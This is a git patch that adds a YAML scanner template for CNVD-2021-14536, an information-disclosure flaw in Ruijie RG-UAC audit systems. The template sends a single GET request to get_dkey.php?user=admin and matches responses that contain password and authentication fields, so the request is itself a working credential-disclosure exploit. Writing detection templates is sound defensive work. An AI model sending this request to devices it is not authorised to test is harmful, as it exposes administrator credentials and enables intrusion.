From 245f64ff3b29185562ec3b2662d5564bc32c759b Mon Sep 17 00:00:00 2001 From: Muhammad Daffa <36522826+daffainfo@users.noreply.github.com> Date: Sat, 19 Mar 2022 07:26:23 +0700 Subject: [PATCH] Create CNVD-2021-14536.yaml --- cnvd/2021/CNVD-2021-14536.yaml | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 cnvd/2021/CNVD-2021-14536.yaml diff --git a/cnvd/2021/CNVD-2021-14536.yaml b/cnvd/2021/CNVD-2021-14536.yaml new file mode 100644 index 0000000000..0e1b52e4bc --- /dev/null +++ b/cnvd/2021/CNVD-2021-14536.yaml @@ -0,0 +1,28 @@ +id: CNVD-2021-14536 + +info: + name: Ruijie RG-UAC Unified Internet Behavior Management Audit System - Information Disclosure + author: daffainfo + severity: critical + reference: https://www.adminxe.com/2163.html + tags: ruijie,cnvd,cnvd2021 + +requests: + - method: GET + path: + - "{{BaseURL}}/get_dkey.php?user=admin" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"pre_define"' + - '"auth_method"' + - '"name"' + - '"password"' + condition: and + + - type: status + status: + - 200